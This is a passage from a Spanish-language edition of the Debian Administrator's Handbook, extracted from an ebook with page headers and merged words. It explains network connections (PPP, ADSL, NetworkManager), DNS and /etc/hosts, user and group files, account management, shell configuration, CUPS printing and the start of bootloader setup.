netmask 255.255.255.0

broadcast 192.168.0.255

network 192.168.0.0

gateway 192.168.0.1

NOTA Direcciones múltiples

Page 702: El Libro Del Administrador de Debian - Raphael Hertzog

No sólo es posible asociar diferentesinterfaces a una misma tarjeta de redfísica sino que también es posible asignarvarias direcciones IP a una interfaz.Recuerde además que una dirección IPpuede corresponder a cualquier cantidadde nombres a través de DNS y que dichonombre también puede corresponde acualquier cantidad de direcciones IPnuméricas.

Como puede adivinar, las configuracionespueden ser bastante complejas; pero seutilizan estas opciones sólo en casos muyespeciales. Los ejemplos citados sontípicos de las configuraciones usuales.

8.2.2. Conexión con

Page 703: El Libro Del Administrador de Debian - Raphael Hertzog

PPP a través de unmódem PSTNUna conexión punto a punto (PPP)establece una conexión intermitente;esta es la solución más común paraconexiones realizadas con un teléfonomódem («módem PSTN» ya que serealiza la conexión a través de la redpública conmutada de teléfonos:«Public Switched TelephoneNetwork»).

Una conexión por teléfono módemnecesita una cuenta con un proveedorde acceso, lo que incluye un número deteléfono, nombre de usuario,

Page 704: El Libro Del Administrador de Debian - Raphael Hertzog

contraseña y a veces el protocolo deautenticación a utilizar. Se configuradicha conexión utilizando laherramienta pppconfig en el paqueteDebian del mismo nombre. De formapredeterminada, utiliza la conexión delproveedor de acceso. En caso de dudassobre el protocolo de autenticación,utilice PAP: la mayoría de losproveedores de servicios de Internet loofrecen.

Después de la configuración, es posibleconectarse utilizando la orden pon(pasándole como parámetro el nombrede la conexión cuando el valorpredeterminado provider no seaapropiado). Se desconecta el enlace con

Page 705: El Libro Del Administrador de Debian - Raphael Hertzog

la orden poff. Ambos puede serejecutados por el usuario root ocualquier otro usuario siempre quepertenezcan al grupo dip.

HERRAMIENTA Conexión a pedido condiald

diald es un servicio de conexión a pedidoque establece una conexiónautomáticamente cuando es necesariadetectando un paquete IP saliente ydesconectándose luego de un período deinactividad.

8.2.3. Conexión a

Page 706: El Libro Del Administrador de Debian - Raphael Hertzog

través de un módemADSLEl término genérico «módem ADSL»cubre una multitud de dispositivos confuncionalidades muy diferentes. Losmódems más sencillos de utilizar conLinux son aquellos con una interfazEthernet. Tienden a ser populares, escada vez más frecuente que losproveedores de servicios de InternetADSL presten (o alquilen) una «caja»con interfaces Ethernet en lugar deaquellas con interfaces USB. Laconfiguración puede variarenormemente según el tipo de módem.

Page 707: El Libro Del Administrador de Debian - Raphael Hertzog

8.2.3.1. Módems compatiblescon PPPOE

Algunos módems Ethernet funcionancon el protocolo PPPOE (punto a puntosobre Ethernet: «Point to PointProtocol Over Ethernet»). Laherramienta pppoeconf (del paquetecon el mismo nombre) configurará laconexión. Para hacerlo, modifica elarchivo /etc/ppp/peers/dsl-provider con las configuracionesprovistas y almacena la información deinicio de sesión en los archivos/etc/ppp/pap-secrets y/etc/ppp/chap-secrets. Serecomienda aceptar todas las

Page 708: El Libro Del Administrador de Debian - Raphael Hertzog

modificaciones que proponga.

Una vez que se completa estaconfiguración puede abrir la conexiónADSL con la orden pon dsl-provider ydesconectarla con poff dsl-provider.

SUGERENCIA Iniciando ppp a través deinit

Las conexiones PPP sobre ADSL son, pordefinición, intermitentes. Ya quegeneralmente no son cobradas por tiempoexisten pocas desventajas a la tentaciónde mantenerlas siempre encendidas; unmétodo simple de hacerlo es utilizar elproceso init para controlar la conexión.Todo lo que necesita hacer es agregar unalínea como la siguiente al final delarchivo /etc/inittab y en cualquier

Page 709: El Libro Del Administrador de Debian - Raphael Hertzog

momento que se desconecte la conexióninit la reconectará.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

La mayoría de las conexiones ADSL sedesconectan diariamente, pero estemétodo reduce la duración de lainterrupción.

8.2.3.2. Módems compatiblescon PPTP

El protocolo PPTP (protocolo de túnelpunto a punto: «Point-to-PointTunneling Protocol») fue creado porMicrosoft. Desplegado al principio de

Page 710: El Libro Del Administrador de Debian - Raphael Hertzog

ADSL fue reemplazado rápidamentepor PPPOE. Si le fuerzan a utilizar esteprotocolo, revise el Chapter 10,Infraestructura de red en la secciónsobre redes privadas virtuales quedetalla PPTP.

8.2.3.3. Módems compatiblescon DHCP

Cuando se conecta un módem al equipoa través de un cable Ethernet (cablecruzado), generalmente configurará laconexión de red con DHCP en elequipo; el módem automáticamenteactuará como puerta de enlacepredeterminada y se encargará del

Page 711: El Libro Del Administrador de Debian - Raphael Hertzog

ruteo (lo que quiere decir quegestionará el tráfico de red entre elequipo e Internet).

VOLVER A LOS CIMIENTOS Cablecruzado para una conexión Ethernetdirecta

Las tarjetas de red esperan recibir datosen hilos específicos del cable y enviar susdatos en otros. Cuando conecta un equipoa una red local generalmente conecta uncable (recto o cruzado) entre la tarjeta dered y un repetidor o conmutador. Sinembargo, si desea conectar dos equiposdirectamente (sin un conmutador orepetidor intermedio) debe enrutar laseñal enviada por una tarjeta al ladoreceptor de la otra tarjeta y viceversa.Éste es el propósito de un cable cruzado y

Page 712: El Libro Del Administrador de Debian - Raphael Hertzog

la razón por la que se lo utiliza.

En Francia, Freebox, Neufbox yLivebox utilizan este método, losmódems ADLS provistos por los ISPFree, SFR/Neuf y Wanadoo/Orange. Lamayoría de los «routers ADSL» en elmercado también lo utilizan.

8.2.4. Configuraciónde red automáticapara usuarios errantesMuchos ingenieros de Falcot tienen unequipo portátil que, con propósitos

Page 713: El Libro Del Administrador de Debian - Raphael Hertzog

profesionales, también utilizan en suscasas. La configuración de red autilizar varía según la ubicación. Encasa puede ser una red inalámbrica(protegida con una clave WEP)mientras que en el trabajo utiliza unared cableada para más seguridad yancho de banda.

Para evitar tener que conectar ydesconectar manualmente lasinterfaces de red correspondientes, losadministradores instalan el paquetenetwork-manager en estos equiposerrantes. Este software le permite alusuario cambiar fácilmente de una reda otra utilizando un pequeño íconomostrado en el área de notificación de

Page 714: El Libro Del Administrador de Debian - Raphael Hertzog

su entorno gráfico. Pulsar en este íconomuestra una lista de redes disponibles(tanto cableadas como inalámbricas)para que pueda elegir una a utilizar. Elprograma guarda la configuración paralas redes a las que el usuario ya se haconectado y automáticamenteselecciona la mejor red disponiblecuando pierde la conexión actual.

Para poder hacerlo el programa estáestructurado en dos partes: un demonioejecutando como root maneja laactivación y configuración de lasinterfaces de red y una interfaz deusuario controla este demonio. Sólo losmiembros del grupo «netdev» tienenpermisos para controlar este programa.

Page 715: El Libro Del Administrador de Debian - Raphael Hertzog

Network Manager sabe cómoadministrar varios tipos de conexión(DHCP, configuración manual, redlocal), pero sólo si se realiza laconfiguración desde dentro del mismoprograma. Es por eso que ignorarásistemáticamente todas las interfacesde red en el archivo/etc/network/interfaces quedesconozca. Las configuraciones sonmuy estrictas, puede encontrar detallesen el archivo/usr/share/doc/network-

manager/README.Debian. Debido aque Network Manager no proveedetalles cuando no se muestranconexiones de red, lo más sencillo eseliminar cualquier configuración del

Page 716: El Libro Del Administrador de Debian - Raphael Hertzog

archivo /etc/network/interfacessobre las interfaces que NetworkManager debe administrar.

Note que se instalrá este programa deforma predeterminada si selecciona latarea «Entorno de escritorio» durante lainstalación inicial.

ALTERNATIVA Configuración por«perfil de red»

Usuarios más avanzados podrían desearprobar el paquete guessnet para unaconfiguración automática de la red. Ungrupo de scripts de pruebas determinan elperfil de red a activar y lo configuran alvuelo.

Los usuarios que prefieran seleccionar

Page 717: El Libro Del Administrador de Debian - Raphael Hertzog

manualmente un perfil de red, preferiránel programa netenv que pueden encontraren el paquete del mismo nombre.

Page 718: El Libro Del Administrador de Debian - Raphael Hertzog

8.3. Definir elnombre de equipoy configurar elservicio denombresEl propósito de asignar nombres anúmeros IP es hacerlos fáciles derecordar para la gente. En realidad, unadirección IP identifica una interfaz dered asociada con un dispositivo comouna tarjeta de red. Como cada equipopuede tener varias tarjetas de red y

Page 719: El Libro Del Administrador de Debian - Raphael Hertzog

varias interfaces en cada tarjeta, unsolo equipo puede tener varios nombresen el sistema de nombres de dominio.

Se identifica a cada equipo, sinembargo, por un nombre principal (o«canónico») que se almacena en elarchivo /etc/hostname y se lecomunica al núcleo Linux a través de laorden hostname. El valor actual estádisponible en un sistema de archivosvirtual y lo puede conseguir con laorden cat /proc/sys/kernel/hostname.

VOLVER A LOS CIMIENTOS /proc/ y/sys/, sistemas de archivos virtuales

Se generan los árboles de archivos /proc/y /sys/ a través de sistemas de archivos

Page 720: El Libro Del Administrador de Debian - Raphael Hertzog

«virtuales». Este es un método prácticopara obtener información del núcleo(mostrando archivos virtuales) ycomunicarle información (escribiendo enarchivos virtuales).

Se diseñó /sys/ en particular paraproveer acceso a los objetos internos delnúcleo, especialmente aquellos querepresentan los distintos dispositivos enel sistema. El núcleo puede, entonces,compartir mucha información: el estadode cada dispositivo (por ejemplo, si estáen modo de ahorro de energía), si es undispositivo removible, etc. Es importantesaber que /sys/ sólo existe desde laversión de núcleo 2.6.

Sorprendentemente, no se administra elnombre de dominio de la misma forma

Page 721: El Libro Del Administrador de Debian - Raphael Hertzog

sino que proviene del nombre completodel equipo, obtenido a través deresolución de nombres. Puedecambiarlo en el archivo /etc/hosts;simplemente escriba un nombrecompleto para el equipo al principio dela lista de nombres asociados con lasdirecciones del equipo como en elsiguiente ejemplo:

127.0.0.1 localhost

192.168.0.1 arrakis.falcot.com arrakis

8.3.1. Resolución denombres

Page 722: El Libro Del Administrador de Debian - Raphael Hertzog

El mecanismo de resolución denombres en Linux es modular y puedeutilizar varias fuentes de informacióndeclaradas en el archivo/etc/nsswitch.conf. La instrucciónque determina la resolución denombres es hosts. De formapredeterminada contiene dns filesque significa que el sistema consultaráprimero el archivo /etc/hosts, luegolos servidores DNS. Otras fuentesposibles son los servidores NIS/NIS+ oLDAP.

NOTA NSS y DNS

Sepa que los programas específicos pararealizar consultas de DNS (especialmentehost) no utilizan el mecanismo de

Page 723: El Libro Del Administrador de Debian - Raphael Hertzog

resolución de nombres estándar (NSS).Como consecuencia no tienen en cuenta/etc/nsswitch.conf y, por lo tanto,tampoco /etc/hosts.

8.3.1.1. Configuración deservidores DNS

DNS (servicio de nombres de dominio:«Domain Name Service») es unservicio distribuido y jerárquico queasocia nombres a direcciones IP yviceversa. Específicamente puedetransformar un nombre amigable paralas personas como www.eyrolles.comen una dirección IP real,213.244.11.247.

Page 724: El Libro Del Administrador de Debian - Raphael Hertzog

Para acceder a la información de DNS,debe tener disponible un servidor DNSpara retransmitir sus pedidos. FalcotCorp tiene uno propio, pero es másprobable que un usuario particularutilice los servidores de DNS provistospor su ISP.

Se indican los servidores DNS autilizar en el archivo/etc/resolv.conf, uno por línea,precediendo la dirección IP con lapalabra clave nameserver como en elejemplo a continuación.

nameserver 212.27.32.176

nameserver 212.27.32.177

nameserver 8.8.8.8

Page 725: El Libro Del Administrador de Debian - Raphael Hertzog

8.3.1.2. El archivo/etc/hosts

Si no existe un servidor de nombres enla red local aún es posible definir unapequeña tabla que asocie direcciones IPy nombres de equipos en el archivo/etc/hosts, generalmente reservadopara estaciones de redes locales. Lasintaxis de este archivo es muy simple:cada línea indica una dirección IPespecífica seguida de una lista de losnombres asociados (el primero debe ser«completamente calificado», lo quesignifica que debe incluir el nombre dedominio).

Este archivo está disponible aún

Page 726: El Libro Del Administrador de Debian - Raphael Hertzog

durante problemas de red o cuando nose puedan alcanzar los servidores deDNS, pero sólo será realmente útilcuando esté en todos los equipos en lared. La menor alteración deasociaciones necesitará que seactualice el archivo en todos lados. Espor esto que el archivo /etc/hostsgeneralmente sólo contiene los másimportantes.

Este archivo será suficiente para un redpequeña que no esté conectada aInternet, pero con 5 o más máquinas serecomienda instalar un servidor deDNS propio.

SUGERENCIA Evitando DNS

Page 727: El Libro Del Administrador de Debian - Raphael Hertzog

Debido a que las aplicaciones revisan elarchivo /etc/hosts antes de realizarpedidos DNS, es posible incluirinformación allí que sea diferente a lo quedevolvería DNS, por lo tanto evitando laresolución de nombres normal basada enDNS.

Esto permite, en el caso de cambios aDNS que no se hayan propagado aún,probar el acceso a un sitio web con elnombre planeado aún cuando dichonombre todavía no esté asociado a la IPcorrecta.

Otro posible uso de la redirección DNS esredirigir el tráfico destinado a un equipoparticular a otra máquina local. Porejemplo, si se configuró el servidor denombres para enviar publicidad, puededesviar el tráfico a un equipo local que

Page 728: El Libro Del Administrador de Debian - Raphael Hertzog

evitará estas publicidades lo que resultaráen una navegación más fluida y conmenos distracciones.

Page 729: El Libro Del Administrador de Debian - Raphael Hertzog

8.4. Bases de datosde usuarios ygruposGeneralmente se almacena la lista deusuarios en el archivo /etc/passwd yel archivo /etc/shadow almacena lascontraseñas cifradas. Ambos sonarchivos de texto en un formatorelativamente simple que pueden leersey modificarse con un editor de texto.Se muestra cada usuario en una líneacon varios campos separados por dospuntos («:»).

Page 730: El Libro Del Administrador de Debian - Raphael Hertzog

NOTA Editando archivos de sistema

Los archivos de sistema mencionados eneste capítulo generalmente son archivosen texto plano y pueden editarse con uneditor de texto. Dada su importancia parael funcionamiento intrínseco del sistemasiempre es buena idea tomar precaucionesextras al editar archivos de sistema.Primero, siempre haga una copia orespaldo de un archivo de sistema antesde abrirlo o modificarlo. Segundo, enservidores o equipos en los que más deuna persona puedan acceder al mismoarchivo al mismo tiempo, tome lasmedidas adecuadas para evitar corrupciónde archivos.

Para este propósito basta utilizar la ordenvipw para editar el archivo /etc/passwd ovigr para editar /etc/group. Éstos

Page 731: El Libro Del Administrador de Debian - Raphael Hertzog

programas bloquean el archivo encuestión antes de ejecutar el editor detexto, (vi de forma predeterminada amenos que se haya modificado la variablede entorno EDITOR). La opción -spermitirá editar el archivo shadowcorrespondiente.

VOLVER A LOS CIMIENTOS Crypt, unafunción unidireccional

crypt es una función unidireccional quetransforma una cadena (A) a otra cadena(B) de forma que no se pueda obtener Adesde B. La única forma de identificar A esprobar todos sus posibles valores,revisando uno por uno para verificar si latransformación utilizando dicha funciónproduce B o no. Utiliza hasta 8 caracterescomo entrada (la cadena A) y genera una

Page 732: El Libro Del Administrador de Debian - Raphael Hertzog

cadena de 13 caracteres imprimiblesASCII (la cadena B).

8.4.1. Lista deusuarios: /etc/passwdEsta es una lista de los campos en elarchivo /etc/passwd:

nombre de usuario, por ejemplorhertzog;contraseña: esta es una contraseñacifrada por una funciónunidireccional, ya sea crypt omd5. El valor especial «x» indicaque la contraseña cifrada está

Page 733: El Libro Del Administrador de Debian - Raphael Hertzog

almacenada en /etc/shadow;uid: número único que identificaa cada usuario;gid: número único del grupoprincipal del usuario (de formapredeterminada, Debian crea ungrupo específico para cadausuario);GECOS: campo de datos quegeneralmente contiene el nombrecompleto del usuario;directorio de inicio de sesión,asignado al usuario paraalmacenar sus archivos personales(al que generalmente apunta lavariable de entorno $HOME);programa a ejecutar al iniciarsesión. Generalmente es un

Page 734: El Libro Del Administrador de Debian - Raphael Hertzog

intérprete de órdenes (consola)que le da libertad al usuario. Siespecifica /bin/false (que no hacenada y vuelve el controlinmediatamente), el usuario nopodrá iniciar sesión.

VOLVER A LOS CIMIENTOS GrupoUnix

Un grupo Unix es una entidad que incluyevarios usuarios para que puedancompartir archivos fácilmente utilizandoel sistema de permisos integrado(teniendo exactamente los mismospermisos). También puede restringir eluso de ciertos programas a un grupoespecífico.

Page 735: El Libro Del Administrador de Debian - Raphael Hertzog

8.4.2. El archivo decontraseñas ocultas ycifradas: /etc/shadowEl archivo /etc/shadow contiene lossiguientes campos:

nombre de usuariocontraseña cifrada;varios campos que administran elvencimiento de la contraseña.

DOCUMENTACIÓN El formato de losarchivos /etc/passwd, /etc/shadow y/etc/group

Page 736: El Libro Del Administrador de Debian - Raphael Hertzog

Éstos formatos están documentados en lassiguientes páginas de manual: passwd(5),shadow(5) y group(5).

SEGURIDAD Seguridad del archivo/etc/shadow

A diferencia de su contraparte/etc/passwd, /etc/shadow no puede serleído por usuarios normales. Cualquierapuede leer cualquier contraseña cifradaen /etc/password; un «cracker» podríaintentar «romper» (o revelar) unacontraseña a través de alguno de losmétodos de «fuerza bruta» que, de formasimplificada, adivinan las combinacionesde caracteres utilizadas frecuentemente.Este ataque — llamado «ataque dediccionario» — ya no es posible ensistemas que utilizan /etc/shadow.

Page 737: El Libro Del Administrador de Debian - Raphael Hertzog

8.4.3. Modificar unacuenta o contraseñaexistenteLos siguientes programas permitenmodificar la información almacenadaen campos específicos de la base dedatos de usuarios: passwd le permite aun usuario normal cambiar sucontraseña que, a su vez, actualiza elarchivo /etc/shadow; chfn (cambiar elnombre completo: «CHange FullName»), reservado para el superusuario(root), modifica el campo GECOS. chsh

Page 738: El Libro Del Administrador de Debian - Raphael Hertzog

(cambiar consola: «CHange SHell») lepermite a un usuario cambiar suconsola de inicio de sesión, sinembargo las opciones disponiblesestarán limitadas a aquellasmencionadas en /etc/shells; eladministrador, por el otro lado, no estálimitado por esta restricción y puedeconfigurar la consola a cualquierprograma de su elección.

Finalmente chage (cambiar edad:«CHange AGE») permite aladministrador cambiar la configuraciónde expiración de la contraseña (laopción -l usuario mostrará laconfiguración actual). También puedeforzar la expiración de una contraseña

Page 739: El Libro Del Administrador de Debian - Raphael Hertzog

utilizando la orden passwd -e usuario,que obligará al usuario a cambiar sucontraseña la próxima vez que iniciesesión.

8.4.4. Desactivar unacuentaPuede llegar a necesitar «desactivaruna cuenta» (bloquear el acceso a unusuario) como castigo, para unainvestigación o simplemente en caso deuna ausencia prolongada o definitiva deun usuario. Una cuenta desactivadasignifica que el usuario no podráiniciar sesión y obtener acceso a la

Page 740: El Libro Del Administrador de Debian - Raphael Hertzog

máquina. La cuenta se mantiene intactaen el equipo y no se eliminaránarchivos o datos; simplemente esinaccesible. Puede lograr estoutilizando passwd -l usuario(bloquear: «lock»). Puede reactivar lacuenta de forma similar, utilizando laopción -u (desbloquear: «unlock»).

YENDO MÁS ALLÁ NSS y bases de datosde sistema

En lugar de utilizar los archivos usualespara administrar la lista de usuarios ygrupos puede utilizar otros tipos de basesde datos como LDAP o db utilizando elmódulo NSS (cambio de servicio denombres: «Name Service Switch»). Puedeencontrar una lista de los módulos

Page 741: El Libro Del Administrador de Debian - Raphael Hertzog

utilizados en el archivo/etc/nsswitch.conf bajo los elementospasswd, shadow y group. Revise laSection 11.7.3.1, “Configuración de NSS”para un ejemplo específico sobre el usode un módulo NSS para LDAP.

8.4.5. Lista de grupos:/etc/group

Se enumeran los grupos en el archivo/etc/group, una simple base de datosde texto en un formato similar al delarchivo /etc/passwd con lossiguientes campos:

Page 742: El Libro Del Administrador de Debian - Raphael Hertzog

nombre del grupocontraseña (opcional): sólo esutilizada para unirse a un grupocuando no es un miembro normal(con newgrp o sg, revise elrecuadro);gid: número único deidentificación del grupolista de miembros: lista separadospor comas de nombres de usuarioque son miembros del grupo.

VOLVER A LOS CIMIENTOS Trabajarcon varios grupos

Cada usuario puede ser miembro devarios grupos, uno de los cuales es su«grupo principal». El grupo principal deun usuario se crea de forma

Page 743: El Libro Del Administrador de Debian - Raphael Hertzog

predeterminada durante la configuracióninicial del usuario. De formapredeterminada, cada archivo que cree elusuario pertenece a él así como también asu grupo principal. Esto no es siempre elcomportamiento deseado; por ejemplo,cuando el usuario necesita trabajar en undirectorio compartido por un grupodistinto a su grupo principal. En este caso,el usuario necesita cambiar el grupoprincipal utilizando una de las siguientesórdenes: newgrp que inicia una nuevaconsola, o sg que simplemente ejecutauna orden utilizando un grupo alternativoque se provea. Estas órdenes le permitenal usuario unirse a un grupo al que nopertenecen. Si el grupo está protegido poruna contraseña necesitarán proveerlaantes de ejecutar la orden.

De forma alternativa, el usuario puede

Page 744: El Libro Del Administrador de Debian - Raphael Hertzog

activar el bit setgid en el directorio, quecausa que los archivos creados en élpertenezcan al grupo correctoautomáticamente. Para más detalles reviseel recuadro SEGURIDAD Directoriossetgid y el bit «sticky» (pegajoso).

La orden id muestra el estado actual delusuario, con su identificador personal (lavariable uid), su grupo principal actual(la variable gid) y la lista de grupos a losque pertenece (la variable groups).

Los programas addgroup y delgroupagregan o eliminan un gruporespectivamente. groupmod modificala información de un grupo (suidentificador o gid). La orden passwd -g grupo cambia la contraseña del grupo

Page 745: El Libro Del Administrador de Debian - Raphael Hertzog

mientras que passwd -r -g grupoelimina dicha contraseña.

SUGERENCIA getent

El programa getent (obtener elementos:«get entries») revisa las bases de datos desistema de la forma estándar, utilizandolas funciones de la biblioteca apropiadaque, a su vez, llaman a los módulos NSSconfigurados en el archivo/etc/nsswitch.conf. El programa aceptauno o dos parámetros: el nombre de labase de datos a revisar y una posibleclave de búsqueda. Por lo tanto, la ordengetent passwd rhertzog proveerá lainformación de la base de datos deusuarios sobre el usuario rhertzog.

Page 746: El Libro Del Administrador de Debian - Raphael Hertzog

8.5. Crear cuentasUna de las primeras acciones que unadministrador necesita completar alconfigurar un nuevo equipo es crearcuentas de usuario. Esto se realizageneralmente con el programa adduserque acepta como parámetro un nombrede usuario para el nuevo usuario acrear.

El programa adduser realiza unaspocas preguntas antes de crear lacuenta, pero su uso es bastante directo.Su archivo de configuración,/etc/adduser.conf, incluye todas lasconfiguraciones interesantes: puede

Page 747: El Libro Del Administrador de Debian - Raphael Hertzog

utilizarse para definir automáticamenteuna cuota para cada nuevo usuariomediante una plantilla de usuario opara cambiar la ubicación de lascuentas de usuario; esto último rara vezes útil pero puede servir cuando poseauna gran cantidad de usuarios y desee,por ejemplo, dividir sus cuentas entrevarios discos. También puedeseleccionar un intérprete de órdenespredeterminada diferente.

VOLVER A LOS CIMIENTOS Cuota

El término «cuota» («quota») se refiere aun límite en los recursos del equipo quepuede utilizar un usuario. Generalmentese refiere a espacio en disco.

Page 748: El Libro Del Administrador de Debian - Raphael Hertzog

El crear una cuenta rellena el directoriopersonal de un usuario con el contenidode la plantilla /etc/skel/. Esto leprovee al usuario un conjunto dedirectorios y archivos de configuraciónestándar.

En algunos casos, será útil agregar unusuario a un grupo (diferente a sugrupo «principal») para proveerlepermisos adicionales. Por ejemplo, unusuario que pertenece al grupo audiopuede acceder dispositivos de audio(revise el recuadro «Permisos deacceso a dispositivos»). Puedeconseguirlo ejecutando adduserusuario grupo.

Page 749: El Libro Del Administrador de Debian - Raphael Hertzog

VOLVER A LOS CIMIENTOS Permisosde acceso a dispositivos

En Unix se representa cada dispositivo dehardware periférico con un archivoespecial generalmente almacenado en elárbol de archivos bajo /dev/(dispositivos: «DEVices»). Existen dostipos especiales de archivos según lanaturaleza del dispositivo: archivos«modo carácter» y «modo bloque», cadamodo sólo permite un conjunto limitadode operaciones. Mientras que el modocarácter limita la interacción aoperaciones de lectura y escritura, elmodo bloque también permite búsquedasentre los datos disponibles. Finalmente,cada archivo especial tiene asociado dosnúmeros («mayor» y «menor») queidentifica para el núcleo al dispositivo deforma única. Tal archivo, creado con el

Page 750: El Libro Del Administrador de Debian - Raphael Hertzog

programa mknod simplemente contieneun nombre simbólico (y más amigablepara las personas).

Los permisos de un archivo especial estánasociados a los permisos necesarios paraacceder al dispositivo en sí mismo. Por lotanto, un archivo como /dev/mixer querepresenta un mezclador de audio sólotiene permisos de lectura y escritura parael usuario root y los miembros del grupoaudio. Sólo éstos usuarios pueden trabajarcon el mezclador de audio.

Es importante saber que la combinaciónde udev, consolekit y policykit puedenagregar permisos adicionales que lepermite a usuarios conectadosfísicamente a una consola (no a través dela red) acceder a ciertos dispositivos.

Page 751: El Libro Del Administrador de Debian - Raphael Hertzog

8.6. Entorno deconsolaLos intérpretes de órdenes (o consolas)son frecuentemente el primer punto decontacto de un usuario con el equipo y,por lo tanto, deben ser suficientementeamigables. La mayoría utiliza scriptsde inicialización que permitenconfigurar su comportamiento(completado automático, texto delpromtp, etc.).

bash, la consola estándar, utiliza elscript de inicialización/etc/bash.bashrc para consolas

Page 752: El Libro Del Administrador de Debian - Raphael Hertzog

interactivas y /etc/profile paraconsolas de «inicio de sesión».

VOLVER A LOS CIMIENTOS Consola deinicio de sesión y consola (no)interactiva

En términos simples, se invoca unaconsola de inicio de sesión al iniciarsesión en una consola utilizando telnet ossh o explícitamente a través de bash --login. Independientemente de si es unaconsola de inicio de sesión o no, éstapuede ser interactiva (en una terminalsimilar a xterm por ejemplo) o nointeractiva (como al ejecutar un script).

DESCUBRIMIENTO Otras consolas,otros scripts

Page 753: El Libro Del Administrador de Debian - Raphael Hertzog

Cada intérprete de órdenes tiene unasintaxis específica y sus propios archivosde configuración. Por lo tanto, zsh utiliza/etc/zshrc y /etc/zshenv; csh utiliza/etc/cshrc, /etc/csh.login y/etc/csh.logout. Las páginas de manualpara éstos programas documentan losarchivos que utilizan.

En bash es útil activar el «completadoautomático» en el archivo/etc/bash.bashrc (simplementedescomente unas pocas líneas).

VOLVER A LOS CIMIENTOSCompletado automático

Muchos intérpretes de órdenes proveenfuncionalidad de completado que le

Page 754: El Libro Del Administrador de Debian - Raphael Hertzog

permite a la consola completarautomáticamente el nombre de una ordeningresada parcialmente cuando el usuariopulsa la tecla Tab. Esto le permite alusuario trabajar más eficientemente yevitar errores.

Esta funcionalidad es muy potente yflexible. Es posible configurar sucomportamiento según cada programa.Por lo tanto, el primer parámetro quesigue a apt-get será propuesto según lasintaxis del mismo, aún si no coincide conningún archivo (en este caso las opcionesposibles son install, remove, upgrade,etc.).

VOLVER A LOS CIMIENTOS Lavirgulilla, un atajo a HOME

Page 755: El Libro Del Administrador de Debian - Raphael Hertzog

La virgulilla se utiliza generalmente paraindicar el directorio al que apunta lavariable de entorno HOME (este es, eldirectorio personal del usuario, como/home/rhertzog/). Los intérpretes deórdenes realizan la substituciónautomáticamente: ~/hello.txt seconvertirá en /home/rhertzog/hello.txt.

La virgulilla también permite acceder aldirectorio personal de otro usuario.~rmas/hola.txt es sinónimo de/home/rmas/hola.txt.

Además de éstos scripts comunes, cadausuario puede crear ~/.bashrc y~/.bash_profile para configurar suconsola. Los cambios más comunes sonel agregado de alias, palabras que son

Page 756: El Libro Del Administrador de Debian - Raphael Hertzog

reemplazadas automáticamente con laejecución de una orden haciendo másfácil su ejecución. Por ejemplo, podríacrear el alias la para la orden ls -la |less; entonces sólo tendrá que ejecutarla para inspeccionar en detalle elcontenido de un directorio.

VOLVER A LOS CIMIENTOS Variablesde entorno

Las variables de entorno permitenalmacenar configuraciones globales parala consola u otros programas ejecutados.Son contextuales (cada proceso tiene supropio conjunto de variables de entorno)pero heredables. Esta última característicaofrece la posibilidad a una consola deinicio de sesión de declarar variables queserán pasadas a todos los programas que

Page 757: El Libro Del Administrador de Debian - Raphael Hertzog

ejecute.

Definir las variables de entornopredeterminadas es un elementoimportante en la configuración de unaconsola. Dejando de lado las variablesespecíficas a cada consola, espreferible definirlas en el archivo/etc/environment ya que es utilizadopor los varios programas que podríaniniciar una sesión en consola. Lasvariables allí definidas usualmenteincluyen ORGANIZATION quegeneralmente contiene el nombre de laempresa u organización y HTTP_PROXYque indica la existencia y ubicación deun proxy HTTP.

Page 758: El Libro Del Administrador de Debian - Raphael Hertzog

SUGERENCIA Configuración idénticaen todas las consolas

Los usuarios generalmente deseanconfigurar sus consolas de sesión einteractivas de la misma forma. Paralograrlo, eligen interpretar (utilizando laorden «source») el contenido del archivo~/.bashrc desde el archivo~/.bash_profile. Es posible hacer lomismo con archivos comunes a todos losusuarios (ejecutando /etc/bash.bashrcdesde /etc/profile).

Page 759: El Libro Del Administrador de Debian - Raphael Hertzog

8.7. Configuraciónde impresorasLa configuración de impresión solíacausar dolores de cabeza tanto aadministradores como a usuarios. Estosproblemas son ahora algo del pasadogracias a la creación de cups, elservidor de impresión libre que utilizael protocolo IPP (protocolo deimpresión de internet: «InternetPrinting Protocol»).

Este programa está dividido en variospaquetes Debian: cups es el servidor deimpresión central; cups-bsd es una

Page 760: El Libro Del Administrador de Debian - Raphael Hertzog

capa de compatibilidad que permiteutilizar los programas del sistema deimpresión BSD tradicional (el demoniolpd, los programas lpr y lpq, etc.);cups-client que contiene un grupo deprogramas para interactuar con elservidor (bloquear o desbloquear unaimpresora, ver o eliminar trabajos deimpresión en curso, etc.); y por últimocups-driver-gutenprint contiene unacolección de controladores deimpresión adicionales para cups.

COMUNIDAD CUPS

CUPS (sistema Unix común de impresión:«Common Unix Printing System») es unamarca registrada por la empresa EasySoftware Products cuando se creó cups.

Page 761: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.easysw.com/

NOTA CUPS y CUPSYS

Los paquetes que contienen cupsactualmente se llaman cups, cups-client,cups-bsd, etc. En las versiones de Debiananteriores a Lenny los paquetes teníannombres que comenzaban con cupsys.Podría encontrar todavía paquetes detransición instalados en algunas máquinasrelativamente antiguas que fueronactualizadas con el paso del tiempo.

Luego de instalar estos paquetes, puedeadministrar cups fácilmente a través deuna interfaz web en la dirección local:http://localhost:631/. Allí podrá

Page 762: El Libro Del Administrador de Debian - Raphael Hertzog

agregar impresoras (incluyendoimpresoras de red), eliminarlas yadministrarlas. También puedeadministrar cups con la interfaz gráficasystem-config-printer (en el paqueteDebian del mismo nombre), que seinstala de forma predeterminada siselecciona la tarea «Entorno deescritorio».

NOTA Obsolescencia de /etc/printcap

cups ya no utiliza el archivo/etc/printcap que ahora es obsoleto. Losprogramas que necesitan este archivopara obtener una lista de impresorasdisponibles, por lo tanto, fallarán. Paraevitar este problema elimine este archivoy cree un enlace simbólico (revise el

Page 763: El Libro Del Administrador de Debian - Raphael Hertzog

recuadro VOLVER A LOS CIMIENTOSEnlaces simbólicos) a/var/run/cups/printcap que cupsmantiene para asegurar la compatibilidad.

Page 764: El Libro Del Administrador de Debian - Raphael Hertzog

8.8. Configuracióndel gestor dearranqueProbablemente ya esté funcionando,pero siempre es bueno saber cómoconfigurar e instalar el gestor dearranque en caso que desaparezca delregistro maestro de arranque («MasterBoot Record»). Esto puede ocurrirluego de la instalación de otro sistemaoperativo como Windows. Lainformación a continuación tambiénpuede ayudarle a modificar laconfiguración del gestor de arranque si

Page 765: El Libro Del Administrador de Debian - Raphael Hertzog

lo necesita.

